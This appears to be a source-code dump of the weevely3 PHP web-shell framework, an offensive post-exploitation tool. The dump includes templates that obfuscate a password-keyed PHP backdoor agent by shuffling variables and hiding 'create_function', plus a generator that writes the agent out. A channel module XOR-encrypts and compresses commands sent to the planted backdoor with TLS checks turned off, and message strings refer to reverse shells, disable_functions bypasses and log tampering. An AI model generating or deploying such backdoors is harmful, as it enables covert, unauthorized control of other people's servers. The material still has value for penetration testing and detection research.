list(utils.strings.divide(obfuscated_agent, len(obfuscated_agent)//agent_splitted_line_number-random.randint(0,5), len(obfuscated_agent)//agent_splitted_line_number, agent_splitted_line_number)) agent_variables = list(string.ascii_letters[:]) random.shuffle(agent_variables) agent_variables_references = agent_variables[:] # TODO: if a / is just before the endin quote, it will be uncorrectly escaped. # Fix this (wrap data between " and use json.dump?) agent_list = [] for line in agent_splitted: # Lines are quoted now and not before (could separate escape and quote on splitting) line = shlex.quote(line.decode('utf-8')) # Replace all the \ with \\, to avoid to escape the trailing quote. line = re.sub('\\\\','\\\\\\\\', line) agent_list.append((agent_variables.pop(0), '%s;' % line)) obfuscation_createfunc = find_substr_not_in_str(b'create_function', string.ascii_letters) obfuscated_createfunc = obfuscate(b'create_function', obfuscation_createfunc, 2, ()) agent_list.append((agent_variables.pop(0), "str_replace('%s','','%s');" % (obfuscation_createfunc.decode('utf-8'), obfuscated_createfunc.decode('utf-8')))) random.shuffle(agent_list) %> % for line in agent_list: $${line[0]}=${line[1]} % endfor $${agent_variables.pop(0)}=str_replace('${obfuscation_agent.decode('utf-8')}','',$${'.$'.join(agent_variables_references[:agent_splitted_line_number])}); $${agent_variables.pop(0)}=$${agent_variables_references[agent_splitted_line_number]}('',$${agent_variables_references[agent_splitted_line_number+1]});$${agent_variables_references[agent_splitted_line_number+2]}(); ?> epinna-weevely3-445bd88/bd/obfuscators/phar.tpl000066400000000000000000000027271444353330400214760ustar00rootroot00000000000000<%! import io import zlib import base64 import hashlib from datetime import datetime %><% clean_agent = agent.strip(b'\n') stub = b"""""" fname = b'x' f = b'b64:${base64.b64encode(output.getvalue()).decode('utf-8')}epinna-weevely3-445bd88/core/000077500000000000000000000000001444353330400160245ustar00rootroot00000000000000epinna-weevely3-445bd88/core/__init__.py000066400000000000000000000000001444353330400201230ustar00rootroot00000000000000epinna-weevely3-445bd88/core/argparsers.py000066400000000000000000000035141444353330400205520ustar00rootroot00000000000000from core import messages from core.weexceptions import ArgparseError import argparse import sys SUPPRESS = argparse.SUPPRESS class HelpParser(argparse.ArgumentParser): """ Override `error` method of `argparse.ArgumentParser` in order to print the complete help on error. """ def error(self, message): sys.stderr.write('error: %s\n' % message) self.print_help() raise ArgparseError(message) class CliParser(argparse.ArgumentParser): def set_default_subparser(self, name, args=None): """default subparser selection. Call after setup, just before parse_args() name: is the name of the subparser to call by default args: if set is the argument list handed to parse_args() , tested with 2.7, 3.2, 3.3, 3.4 it works with 2.6 assuming argparse is installed """ subparser_found = False for arg in sys.argv[1:]: if arg in ['-h', '--help']: # global help if no subparser break else: for x in self._subparsers._actions: if not isinstance(x, argparse._SubParsersAction): continue for sp_name in x._name_parser_map.keys(): if sp_name in sys.argv[1:]: subparser_found = True if not subparser_found: # insert default in first position, this implies no # global options without a sub_parsers specified if args is None: sys.argv.insert(1, name) else: args.insert(0, name) def error(self, message): sys.stderr.write( messages.generic.weevely_s_error_s_usage % ( messages.version, message) ) #self.print_help() raise ArgparseError(message) epinna-weevely3-445bd88/core/channels/000077500000000000000000000000001444353330400176175ustar00rootroot00000000000000epinna-weevely3-445bd88/core/channels/__init__.py000066400000000000000000000000001444353330400217160ustar00rootroot00000000000000epinna-weevely3-445bd88/core/channels/channel.py000066400000000000000000000134761444353330400216140ustar00rootroot00000000000000from core.weexceptions import ChannelException from urllib.error import HTTPError, URLError from core import messages from core.loggers import log, dlog import utils import socks import sockshandler import urllib.request, urllib.error, urllib.parse import re import ssl url_dissector = re.compile( r'^(https?|socks4|socks5)://' # http:// or https:// # domain... r'((?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' r'localhost|' # localhost... r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip r':(\d+)?' # optional port r'(?:/?|[/?]\S+)$', re.IGNORECASE ) class Channel: def __init__(self, channel_name, session): """ Import and instanciate dynamically the channel. Given the channel object Mychannel, this should be placed in module core.channels.mychannel.mychannel. """ module_name = channel_name.lower() try: # Import module module = __import__( 'core.channels.%s.%s' % (module_name, module_name), fromlist=["*"]) # Import object channel_object = getattr(module, channel_name) except: raise ChannelException(messages.channels.error_loading_channel_s % (channel_name)) self.session = session # Create channel instance self.channel_loaded = channel_object( self.session['url'], self.session['password'] ) self.channel_name = channel_name self.err_token = utils.strings.randstr(6) + b'ERR' self.re_error = re.compile( b"%s(.*?)%s" % (self.err_token, self.err_token), re.DOTALL ) def _get_proxy(self): url_dissected = url_dissector.findall( self.session['proxy'] ) if url_dissected and len(url_dissected[0]) == 3: protocol, host, port = url_dissected[0] if protocol == 'socks5': return (socks.PROXY_TYPE_SOCKS5, host, int(port)) if protocol == 'socks4': return (socks.PROXY_TYPE_SOCKS4, host, int(port)) if protocol.startswith('http'): return (socks.PROXY_TYPE_HTTP, host, int(port)) return None, None, None def _additional_handlers(self): handlers = [] if self.session.get('proxy'): protocol, host, port = self._get_proxy() if protocol and host and port: handlers.append( sockshandler.SocksiPyHandler( protocol, host, port ) ) else: raise ChannelException(messages.channels.error_proxy_format) # Skip certificate checks ctx = ssl.create_default_context() ctx.check_hostname = False ctx.set_ciphers('DEFAULT@SECLEVEL=1') ctx.verify_mode = ssl.CERT_NONE handlers.append(urllib.request.HTTPSHandler(context=ctx)) return handlers def send(self, payload, catch_errors=True): response = b'' code = 200 error = '' human_error = '' virgin_payload = payload if catch_errors: # Wrap payload in try/catch to handle remote errors token = self.err_token.decode('utf-8') payload = 'try {' + payload + '}catch(Exception $e){' \ + f'echo "{token}".$e->getTrace()[0]["function"].": ".$e->getMessage()."{token}";' \ + '}' try: response = self.channel_loaded.send( payload, self._additional_handlers() ) except socks.ProxyError as e: if e.socket_err and e.socket_err.errno: code = e.socket_err.errno if e.msg: error = str(e.msg) human_error = messages.module_shell_php.error_proxy except HTTPError as e: if e.code: code = e.code if e.reason: error = str(e.reason) if code == 404: human_error = messages.module_shell_php.error_404_remote_backdoor elif code == 500: human_error = messages.module_shell_php.error_500_executing elif code != 200: human_error = messages.module_shell_php.error_i_executing % code except URLError as e: code = 0 if e.reason: error = str(e.reason) human_error = messages.module_shell_php.error_URLError_network if response: dlog.info('RESPONSE: %s' % repr(response)) if response and catch_errors: # Parse remote errors remote_errors = self.re_error.findall(response) if remote_errors: response = self.re_error.sub(b'', response) error = b'\n'.join(remote_errors).decode('utf-8', 'replace') code = 500 self._detect_syntax_error(virgin_payload) if human_error: log.warning(human_error) return response, code, error if error and code: log.warning('[ERR:%s] %s' % (code, error)) return response, code, error return response, code, error def _detect_syntax_error(self, payload): """Detect syntax errors and warn user @TODO detect before sending, and ask confirmation @TODO use proper linter for corresponding vector """ command_last_chars = utils.prettify.shorten( payload.rstrip(), keep_trailer=10 ) if ( command_last_chars and command_last_chars[-1] not in (';', '}') ): log.warning(messages.module_shell_php.missing_php_trailer_s % command_last_chars)epinna-weevely3-445bd88/core/channels/obfpost/000077500000000000000000000000001444353330400212735ustar00rootroot00000000000000epinna-weevely3-445bd88/core/channels/obfpost/__init__.py000066400000000000000000000000001444353330400233720ustar00rootroot00000000000000epinna-weevely3-445bd88/core/channels/obfpost/obfpost.py000066400000000000000000000067161444353330400233330ustar00rootroot00000000000000from core.loggers import dlog from core import config import re import urllib.parse import random import utils import string import base64 import urllib.request, urllib.error, urllib.parse import hashlib import zlib import http.client import string PREPEND = utils.strings.randstr(16, charset = string.printable) APPEND = utils.strings.randstr(16, charset = string.printable) class ObfPost: def __init__(self, url, password): # Generate the 8 char long main key. Is shared with the server and # used to check header, footer, and encrypt the payload. password = password.encode('utf-8') passwordhash = hashlib.md5(password).hexdigest().lower() self.shared_key = passwordhash[:8].encode('utf-8') self.header = passwordhash[8:20].encode('utf-8') self.trailer = passwordhash[20:32].encode('utf-8') self.url = url url_parsed = urllib.parse.urlparse(url) self.url_base = '%s://%s' % (url_parsed.scheme, url_parsed.netloc) # init regexp for the returning data self.re_response = re.compile( b"%s(.*)%s" % (self.header, self.trailer), re.DOTALL ) self.re_debug = re.compile( b"%sDEBUG(.*?)%sDEBUG" % (self.header, self.trailer), re.DOTALL ) # Load agent # TODO: add this to the other channels agents = utils.http.load_all_agents() random.shuffle(agents) self.agent = agents[0] # Init additional headers list self.additional_headers = config.additional_headers def send(self, original_payload, additional_handlers = []): if isinstance(original_payload, str): original_payload = original_payload.encode('utf-8') xorred_payload = utils.strings.sxor( zlib.compress(original_payload), self.shared_key ) obfuscated_payload = base64.b64encode(xorred_payload).rstrip(b'=') wrapped_payload = PREPEND + self.header + obfuscated_payload + self.trailer + APPEND opener = urllib.request.build_opener(*additional_handlers) additional_ua = '' for h in self.additional_headers: if h[0].lower() == 'user-agent' and h[1]: additional_ua = h[1] break opener.addheaders = [ ('User-Agent', (additional_ua if additional_ua else self.agent)) ] + self.additional_headers dlog.debug( '[R] %s...' % (wrapped_payload[0:32]) ) url = ( self.url if not config.add_random_param_nocache else utils.http.add_random_url_param(self.url) ) try: response = opener.open(url, data = wrapped_payload).read() except http.client.BadStatusLine as e: # TODO: add this check to the other channels log.warn('Connection closed unexpectedly, aborting command.') return if not response: return # Multiple debug string may have been printed, using findall matched_debug = self.re_debug.findall(response) if matched_debug: dlog.debug('\n'.join(matched_debug)) matched = self.re_response.search(response) if matched and matched.group(1): response = zlib.decompress( utils.strings.sxor( base64.b64decode(matched.group(1)), self.shared_key)) return response epinna-weevely3-445bd88/core/config.py000066400000000000000000000024551444353330400176510ustar00rootroot00000000000000# Base path for log files and sessions base_path = '~/.weevely/' # History path history_path = '~/.weevely/history' # Session path sessions_path = '~/.weevely/sessions/' sessions_ext = '.session' # Supported Channels channels = [ # Obfuscated channel inside POST requests introduced # in Weevely 3.6 'ObfPost', ] # Append random GET parameters to every request to # make sure the page is not cache by proxies. add_random_param_nocache = False # Add additional headers to be sent at every request e.g. # additional_headers = [ # ( 'Authentication', 'Basic QWxhZGRpbjpvcGVuIHNlc2FtBl==' ) # ] additional_headers = [] # Agents and obfuscators used by generator.py agent_templates_folder_path = 'bd/agents/' obfuscators_templates_folder_path = 'bd/obfuscators/' ####################################### # Resolve given paths - DO NOT CHANGE # ####################################### import os, sys base_path = os.path.expanduser(base_path) history_path = os.path.expanduser(history_path) sessions_path = os.path.expanduser(sessions_path) weevely_path = os.path.dirname(os.path.realpath(sys.argv[0])) agent_templates_folder_path = os.path.join( weevely_path, agent_templates_folder_path ) obfuscators_templates_folder_path = os.path.join( weevely_path, obfuscators_templates_folder_path ) epinna-weevely3-445bd88/core/generate.py000066400000000000000000000033431444353330400201730ustar00rootroot00000000000000import base64 import os import sys from mako.template import Template from core import messages from core.config import agent_templates_folder_path, obfuscators_templates_folder_path from core.weexceptions import FatalException def generate(password, obfuscator = 'phar', agent = 'obfpost_php'): obfuscator_path = os.path.join( obfuscators_templates_folder_path, obfuscator + '.tpl') agent_path = os.path.join(agent_templates_folder_path, agent + '.tpl') for path in (obfuscator_path, agent_path): if not os.path.isfile(path): raise FatalException(messages.generic.file_s_not_found % path) obfuscator_template = Template(filename=obfuscator_path) try: with open(agent_path, 'r') as templatefile: agent = Template(templatefile.read()).render( password=password).encode('utf-8') except Exception as e: raise FatalException( messages.generate.error_agent_template_s_s % (agent_path, str(e))) try: obfuscated = obfuscator_template.render(agent=agent) except Exception as e: raise FatalException( messages.generate.error_obfuscator_template_s_s % (obfuscator_path, str(e))) return obfuscated def save_generated(obfuscated, output): b64 = obfuscated[:4] == 'b64:' final = base64.b64decode(obfuscated[4:]) if b64 else obfuscated.encode('utf-8') try: if output == '-': sys.stdout.buffer.write(final) else: with open(output, 'wb') as outfile: outfile.write(final) except Exception as e: raise FatalException( messages.generic.error_creating_file_s_s % (output, e)) epinna-weevely3-445bd88/core/loggers.py000066400000000000000000000033351444353330400200440ustar00rootroot00000000000000import logging.handlers import logging import sys import core.config import os log = None logfile = None class WeevelyFormatter(logging.Formatter): FORMATS = { # logging.DEBUG :"[D][%(module)s.%(funcName)s:%(lineno)d] %(message)s", logging.DEBUG: "[D][%(module)s] %(message)s", logging.INFO: "%(message)s", logging.WARNING: "[-][%(module)s] %(message)s", logging.ERROR: "[!][%(module)s] %(message)s", logging.CRITICAL: "[!][%(module)s] %(message)s", 'DEFAULT': "[%(levelname)s] %(message)s"} def format(self, record): self._fmt = self.FORMATS.get(record.levelno, self.FORMATS['DEFAULT']) return logging.Formatter.format(self, record) if not os.path.isdir(core.config.base_path): os.makedirs(core.config.base_path) """Initialize the handler to dump log to files""" log_path = os.path.join(core.config.base_path, 'weevely.log') file_handler = logging.handlers.RotatingFileHandler( log_path, mode='a', maxBytes=5*1024*1024, backupCount=2, encoding=None, delay=0 ) file_handler.setFormatter(WeevelyFormatter()) """Initialize the normal handler""" stream_handler = logging.StreamHandler() stream_handler.setFormatter(WeevelyFormatter()) """Initialize the standard logger""" log = logging.getLogger('log') log.addHandler(file_handler) log.addHandler(stream_handler) # We can set the a different level for to the two handlers, # but the global has to be set to the lowest. Fair enough. log.setLevel(logging.DEBUG) file_handler.setLevel(logging.DEBUG) stream_handler.setLevel(logging.INFO) """Initialize the debug logger, that dumps just to logfile""" dlog = logging.getLogger('dlog') dlog.addHandler(file_handler) dlog.setLevel(logging.INFO) epinna-weevely3-445bd88/core/messages.py000066400000000000000000000300421444353330400202040ustar00rootroot00000000000000version = '4.0.1' class generic: file_s_not_found = "File '%s' not found" error_creating_file_s_s = "Error creating file '%s': %s" error_loading_file_s_s = 'Error loading file \'%s\': %s' error_file_s_already_exists = 'Error file \'%s\' already exists' error_url_format = 'Expected URL format \'http(s)://host/agent.php\'' error_parsing_command_s = 'Error parsing command: %s' weevely_s_error_s_usage = """ [+] weevely %s [!] Error: %s [+] Run terminal or command on the target weevely [cmd] [+] Recover an existing session weevely session [cmd] [+] Generate new agent weevely generate """ class sessions: set_module_s_s_s = '%s.%s = %s' set_s_s = '%s = %s' unset_module_s_s = '%s.%s is now unset' unset_s = '%s is now unset' error_loading_sessions = 'Session loading error' error_session_s_not_modified = 'Error setting session variable \'%s\'' connection_info = """<%! from urllib.parse import urlparse %><% if not host: urlparsed = urlparse(url) if urlparsed and urlparsed.netloc: hostname = urlparsed.netloc else: hostname = 'undefined host' else: hostname = host %>${'%s@' % user if user else ''}${hostname}${':%s' % path if path and path != '.' else ''}""" class channels: error_loading_channel_s = 'Error loading channel \'%s\'' error_proxy_format = 'Expected proxy URL format \'http|https|socks5|sock4://host:port\'' class terminal: backdoor_unavailable = 'Backdoor communication failed, check URL availability and password' welcome_no_shell = """ The system shell interpreter is not available in this session. PHP code and modules execution are available. Use the following command replacements to simulate an unrestricted shell. """ help_no_shell = """ The system shell interpreter is not available in this session, use the following command replacements to simulate a unrestricted shell. """ welcome_to_s = """ [+] weevely ${version} [+] Target:\t${conn_info} [+] Session:\t${path} % if default_shell: [+] Shell:\t${ 'System shell' if default_shell == 'shell_sh' else 'PHP interpreter'} % endif [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. """ set_usage = 'Set session variable (run :show to print). Usage:\n:set \'\'' unset_usage = 'Unset session variable (run :show to print). Usage:\n:unset ' class vectors: wrong_target_type = 'Wrong target operating system type' wrong_arguments_type = 'Wrong formatting argument type, a dictionary is required' wrong_postprocessing_type = 'Wrong postprocessing argument type, a callable function is required' wrong_payload_type = 'Wrong payload argument type, a string or a list of strings is required' wrong_condition_type = 'Wrong condition argument type, a callable function is required' wrong_store_name_type = 'Wrong argument type, a string with an argument name is required' class vectorlist: vector_s_triggers_an_exc = 'Vector \'%s\' execution triggers an exception' class module: error_setting_arguments_s = 'Error setting arguments: %s' argument_s_must_be_a_vector = 'Argument \'%s\' must be a vector name' error_module_missing_description = 'Error, module description is missing' error_module_exec_error_s = 'Error, module execution triggered error \'%s\'' error_init_method_required = 'Error, the init() method definition is required in Modules' module_s_exec_terminated = 'Module \'%s\' execution terminated' module_s_inactive = 'Module \'%s\' is inactive, skipped' error_choices_s_s_empty = 'Choices for \'%s\' argument \'%s\' is empty. Please check if vectors are declared before arguments.' running_the_alias_s = 'Shell interpreter unavailable, running the alias \'%s\'' vector_s_not_support_arg_s_s = 'Vector \'%s\' does not support argument \'%s\' set to \'%s\'' class module_file_cd: failed_directory_change_to_s = "Failed cd '%s': no such directory or permission denied" error_getting_ossep = "Error getting remote directory separator" class module_file_ls: failed_list_file_in_directory_s = "Failed list file in directory '%s': no such directory or permission denied" failed_list_file_in_directory_s_unknown = "Failed list file in directory '%s': unknown error" class module_file_download: failed_download_file = "File download failed, please check remote path and permissions" skipping_md5_check = "Skipping MD5 check, the file integrity can't be checked" class module_file_upload: error_content_lpath_required = "Error, argument 'lpath' or 'content' is required" failed_upload_file = "File upload failed, please check remote path and permissions" failed_md5_check = "Failed MD5 check, the integrity check is wrong or not available" class module_file_edit: unmodified_file = "File unmodified, skipping upload" class module_file_touch: error_invalid_timestamp_format = "Error, invalid timestamp format" error_source_timestamp_required = "Error, source timestamp is required." failed_touch_file = "File touch failed, please check remote path and permissions" class module_sql_console: unexpected_response = "Unexpected response" check_credentials = "Check credentials and DB availability" no_data = "No data returned" missing_sql_trailer_s = 'Is the trailing comma missing at the end of the SQL statement \'%s\'?' class module_sql_dump: sql_dump_failed_check_credentials = "SQL dump failed, check credentials and DB availability" sql_dump_saved_s = "SQL dump saved to '%s'" class module_file_grep: failed_retrieve_info = "Failed retrieve file information, please check if the remote readable files exist" class module_file_upload2web: failed_retrieve_info = "Failed retrieve web root information" failed_resolve_path = "Failed resolve path, please check remote path and permissions" error_s_not_under_webroot_s = "Error, \'%s\' is not under the web root folder \'%s\'" failed_search_writable_starting_s = "Error searching writable folder under '%s'." class module_shell_php: error_404_remote_backdoor = 'The remote backdoor request triggers an error 404, check availability' error_500_executing = 'The remote script execution triggers an error 500, check script and payload integrity' error_URLError_network = 'Network error, unable to connect to the remote backdoor' error_proxy = 'Proxy error, unable to connect to the remote backdoor' missing_php_trailer_s = 'Is the trailing comma missing at the end of the PHP code \'%s\'?' error_i_executing = 'The request triggers the error %i, please verify running code' class module_net_ifconfig: error_no_s_execution_result = 'Error, no \'%s\' execution result' error_parsing_s_execution_result = 'Error parsing \'%s\' execution result' error_interpeting_s_execution_result_s = 'Error interpreting \'%s\' execution result: \'%s\'' failed_retrieve_info = "Failed retrieve ifconfig information" class module_backdoor_tcp: error_parsing_connect_s = 'Error parsing hostname, connect manually to the shell on port %s' error_connecting_to_s_s_s = 'Error connecting to %s:%s: %s' class module_backdoor_reversetcp: error_binding_socket_s = 'Error binding socket: \'%s\'' error_timeout = 'Timeout error' reverse_shell_connected = 'Reverse shell connected, insert commands. Append semi-colon help to get the commands accepted.' class module_audit_phpconf: not_enabled = 'Not enabled' enabled = 'Enabled' error = 'Error getting information' basedir_unrestricted = 'Unrestricted' basedir_dot = 'Set to \'.\', bypassable' basedir_no_slash = 'No trailing \'/\', bypassable' user_win_admin = 'Check this is not an administrative user' user_nix_root = 'User \'root\' can be abused' feat_expose_php = 'PHP configuration information exposed' feat_file_uploads = 'File upload enabled' feat_register_globals = 'Insecure variable manipulation enabled' feat_display_errors = 'Information display on error enabled' feat_enable_dl = 'Function dl() can be used to bypass restrictions' feat_safe_mode = 'Safe mode restrictions enabled' feat_magic_quotes_gpc = 'Insecure SQL injection protection enabled' feat_allow_url_include = 'Insecure inclusion of remote resources enabled' feat_session_use_trans_sid = 'Session IDs insecurely passed via URL' class_splFileObject = 'Class splFileObject can be used to bypass restrictions' class_COM = 'Class COM can be used to bypass restrictions' class_Java = 'Class Java can be used to bypass restrictions' func_info = 'Configuration exposed' func_files = 'Filesystem manipulation' func_log = 'Log tampering' func_proc_execution = 'Process execution' func_proc_manipulation = 'Process manipulation' class module_net_curl: unexpected_response = 'Unexpected response, please check URL reachability' class module_net_proxy: proxy_starting_s_i = 'Starting HTTP/HTTPS proxy at \'http://%s:%i\'' proxy_set_proxy = 'Set the proxy to tunnel through the target. Visit \'http://weevely/\' to install the certificate' proxy_started_background = 'Proxy has been started in background and will shutdown at exit' proxy_started_foreground = 'Foreground proxy has been started, press Ctrl-C to stop it' class module_net_phpproxy: phpproxy_installed_to_s_browser_to_s = 'PHP proxy installed to \'%s\', browse \'%s\' with your browser' proxy_script_removed = 'The PHP proxy script will be removed at weevely exit' proxy_script_manually_remove_s = 'Remove manually the PHP proxy script \'%s\'' class module_net_scan: unexpected_response = 'Unexpected response' class module_file_archive: archive_type_not_set = 'Archive type not set and file extension not supported' error_extracting_s_file_needed = 'Error extracting %s, first remote file argument must contain the output file path' error_extracting_s_folder_needed = 'Error extracting %s, first remote file argument must contain the output folder path' remote_path_check_failed = "Remote path check failed, please check if exists and is readable" class module_file_mount: httpfs_s_not_found = "HTTPfs binary '%s' not found, specify binary path or install it from 'https://github.com/cyrus-and/httpfs'" error_generating_agent = "Error generating HTTPfs PHP agent" failed_agent_upload = "Failed PHP agent upload" agent_installed_tutorial = """HTTPfs PHP agent installed remotely as ${agent_abs_path}. Run the following commands in another console outside weevely to mount and unmount the remote filesystem. Mount locally a remote folder: ${httpfs_binary} mount '${agent_url}' Unmount it: fusermount -u """ httpfs_agent_removed = 'The PHP agent will be removed at weevely exit' httpfs_agent_manually_remove_s = 'Remove manually the PHP agent \'%s\'' class module_shell_su: error_su_executing = 'Error executing commands with su' class module_shell_sh: error_sh_remote_shell = 'Error loading Sh remote shell' class generate: error_agent_template_s_s = 'Error with agent template \'%s\': %s' error_obfuscator_template_s_s = 'Error with obfuscator template \'%s\': %s' generated_backdoor_with_password_s_in_s_size_i = 'Generated \'%s\' with password \'%s\' of %i byte size.' class module_audit_disablefunctionbypass: error_sh_commands_enabled = 'Error, you can already execute system commands' error_mod_cgi_disabled = 'Error, mod_cgi module is not enabled' error_installing_htaccess = 'Error installing .htaccess' error_uploading_script_to_s = 'Error uploading CGI script to \'%s\'' error_changing_s_mode = 'Error changing \'%s\' CGI script mode' error_s_unexpected_output = 'Error, \'%s\' doesn\'t execute, htaccess files aren\'t supported' run_s_skip_reinstalling = 'Run console without reinstalling with \':audit_disablefunctionbypass -just-run %s\'' requests_not_obfuscated = 'Type \'quit\' to return to weevely shell. Requests are not obfuscated' cgi_installed_remove_s_s = 'After usage, use \':file_rm\' to remove \'%s\' and \'%s\'' epinna-weevely3-445bd88/core/module.py000066400000000000000000000306061444353330400176700ustar00rootroot00000000000000""" The module `core.module` defines the `Module` class. The `Module` class has to be inherited to create a new weevely module. Normally, the following methods have to be overridden: * `init()`: This defines the basic module initialization. The `init()` method normally calls `register_info()`, `register_vectors()` and `register_arguments()`. * `check()`: This is called at the first run. Check and set the module status. * `run()`: This function is called on module run. """ import argparse import shlex import utils from core import argparsers from core import messages from core import modules from core.loggers import log from core.vectorlist import VectorList from core.weexceptions import DevException, ArgparseError class Formatter(argparse.ArgumentDefaultsHelpFormatter): def _format_description(self, desc): lines = desc.split('\n') head = lines[0] n = len(head) return head + '\n' + '=' * n + '\n' + '\n'.join([' ' + l for l in lines[1:]]) + '\n' def add_text(self, text): if text is not argparse.SUPPRESS and text is not None: self._add_item(self._format_description, [text]) class Status: """Represent the module statuses. Is stored in session[module][status] and is set by `setup()` call at the first run. * Status.IDLE: The module is inactive. This state is set if the module has been never been setup, of if it needs a new setup. If a module is run in this state, the `Module.setup()` function is automatically called. * Status.RUN: The module is properly running and can be call. * Status.FAIL: The module setup failed. The execution of this module is automatically skipped. """ IDLE = 0 RUN = 1 FAIL = 2 class Module: aliases = [] def __init__(self, session, name, folder): """Module object constructor. This call the overridable `init()` method. Normally does not need to be overridden. """ self.session = session self.name = name self.folder = folder self.vectors = VectorList(session, name) # init session db for current session if name not in self.session: self.session[self.name] = { 'stored_args': {}, 'results': {}, 'status': Status.IDLE } # HelpParser is a slightly changed `ArgumentParser` self.argparser = argparsers.HelpParser( prog=self.name, description=self.__doc__, formatter_class=Formatter, ) # Arguments dictionary is initially empty self.args = {} self.init() def run_cmdline(self, line, cmd = ''): """Execute the module from command line. Get command line string as argument. Called from terminal. Normally does not need to be overridden. Args: line (str): the module arguments. cmd (str): the executed command Return: Object. The result of the module execution. """ # Split the command line try: command = shlex.split(line) except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit, # and other exceptions try: result = self.run_argv(command) except (KeyboardInterrupt, EOFError): log.info(messages.module.module_s_exec_terminated % self.name) return except ArgparseError: return except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.module.error_module_exec_error_s % str(e)) return self.print_result( result[:-1] if ( isinstance(result, str) and result.endswith('\n') ) else result ) # Data is returned for the testing of _cmdline calls return result def run_argv(self, argv, catch_errors=True): """Execute the module. Get arguments list as argument. The arguments are parsed with getopt, and validated. Then calls setup() and run() of module. Normally does not need to be overridden. Args: argv (list of str): The list of arguments. catch_errors (bool): Whether to catch remote errors or not. Passed to the base channel Returns: Object. The result of the module execution. """ # Merge stored arguments with line arguments stored_args = self.session[self.name]['stored_args'] self.args = {} try: user_args = self.argparser.parse_args(argv) except SystemExit as e: raise ArgparseError(e) # The new arg must win over the stored one if: # new arg is not none and the value of the old one # is not just the default value for newarg_key, newarg_value in user_args.__dict__.items(): # Pick the default argument of the current arg default_value = next((action.default for action in self.argparser._actions if action.dest == newarg_key), None) stored_value = stored_args.get(newarg_key) if newarg_value != None and newarg_value != default_value: self.args[newarg_key] = newarg_value elif stored_value != None: self.args[newarg_key] = stored_value else: self.args[newarg_key] = default_value # If module status is IDLE, launch setup() if self.session[self.name]['status'] == Status.IDLE: self.session[self.name]['status'] = self.setup() # If setup still not set the status to RUN, return if self.session[self.name]['status'] != Status.RUN: return # If module status is FAIL, return if self.session[self.name]['status'] == Status.FAIL: log.debug(messages.module.module_s_inactive % self.name) return # Setup() could has been stored additional args, so all the updated # stored arguments are applied to args stored_args = self.session[self.name]['stored_args'] for stored_arg_key, stored_arg_value in stored_args.items(): if stored_arg_key != None and stored_arg_value != self.args.get(stored_arg_key): self.args[stored_arg_key] = stored_arg_value return self.run(catch_errors=catch_errors) def run_alias(self, args, cmd): """Execute the module to replace a missing terminal command. This runs the module if the direct shell command can't be run due to the shell_sh failing. It is called when some alias defined in `Module.alias` list is executed from the command line. Normally does not need to be overridden. Args: args (str): string containing the module arguments. Return: Object. The result of the module execution. """ if self.session['default_shell'] != 'shell_sh': log.debug(messages.module.running_the_alias_s % self.name) return self.run_cmdline(args) else: modules.loaded['shell_sh'].run_cmdline( '%s -- %s' % (cmd, args) ) def init(self): """Module initialization. Called at boot. Must be overriden to set the basic Module data. This normally calls `register_info()`, `register_vectors()` and `register_arguments()`. """ raise DevException(messages.module.error_init_method_required) def setup(self): """Module first setup. Called at the first module run per session. Override this to implement the module setup. This should perform the basic check of the module compatibility with the remote enviroinment, and return the module Status value. Current execution arguments are in self.args. If not overridden, always returns Status.RUN. Returns: Status value. Must be Status.RUN, Status.FAIL, or Status.IDLE. """ return Status.RUN def run(self, catch_errors=True): """Module execution. Called at every module executions. Override this to implement the module behaviour. Current execution arguments are in self.args. Returns: Object containing the execution result. """ return def help(self): """Function called on terminal help command. This is binded with the terminal `help_module()` method. Normally does not need to be overridden. """ self.run_argv([ '-h' ]) def register_info(self, info): """Register the module basic information. The human-readable description is automatically read from the object docstring. With no description set, raise an exception. Arbitrary fields can be used. Args: info (dict): Module information. Raises: DevException: Missing description """ self.info = info self.info['description'] = ( info.get('description') if info.get('description') else self.__doc__.strip() ) self.argparser.description = self.info.get('description') if not self.argparser.description: raise DevException(messages.module.error_module_missing_description) def register_arguments(self, arguments = []): """Register the module arguments. Register arguments to be added to the argparse parser. Args: arguments (list of dict): List of dictionaries in the form `[{ 'name' : 'arg1', 'opt' : '', .. }, {'name' : 'arg2', 'opt' : '', .. }]` to be passed to the `ArgumentParser.add_argument()` method. """ try: for arg_opts in arguments: # Handle if the argument registration is done before # The vector registration. This should at least warn if arg_opts.get('choices') == []: log.warn(messages.module.error_choices_s_s_empty % (self.name, arg_name)) self.argparser.add_argument( arg_opts['name'], **dict((k, v) for k, v in arg_opts.items() if k != 'name') ) except Exception as e: raise DevException(messages.module.error_setting_arguments_s % (e)) def register_vectors(self, vectors): """Register the module vectors. The passed vectors are stored in `self.vectors`, a VectorList object. Args: vectors (list of vectors objects): List of ShellCmd, PhpCode, and ModuleExec to use as module vectors. """ self.vectors.extend(vectors) def print_result(self, result, header=False): """Format and print execution result. Called at every executions from command line. Override this to implement a different result print format. Args: result (Object): The result to format and print. :param result: :param header: """ if result not in (None, ''): log.info(utils.prettify.tablify(result, header=header)) def _store_result(self, field, value): """Store persistent module result. Store data in the module session structure as result. Args: field (string): The key name to label the result. value (obj): The result to store. """ self.session[self.name]['results'][field] = value def _get_stored_result(self, field, module = None, default=None): """Get stored module result. Get the modle result stored in the session structure. Args: field (string): The key name which contains the result. module (string): The module name. If not set, the current module is used. default: The value to be returned in case key does not exist. """ if module is not None: return self.session[module][ 'results'].get(field, default) else: return self.session.get(field, default) epinna-weevely3-445bd88/core/modules.py000066400000000000000000000026551444353330400200560ustar00rootroot00000000000000from core import config import glob import os loaded = {} loaded_tree = {} def load_modules(session): """ Load all modules """ modules_paths = glob.glob( '%s/modules/*/[a-z]*py' % config.weevely_path ) for module_path in modules_paths: module_group, module_filename = module_path.split(os.sep)[-2:] module_name = os.path.splitext(module_filename)[0] classname = module_name.capitalize() # Import module module = __import__( 'modules.%s.%s' % (module_group, module_name), fromlist=["*"] ) # Check if the module support folder exists folder = module_path.replace( module_filename, '_%s' % module_name ) # Init class, passing current terminal instance and module # name module_class = getattr(module, classname)( session, '%s_%s' % (module_group, module_name), folder ) loaded['%s_%s' % (module_group, module_name)] = 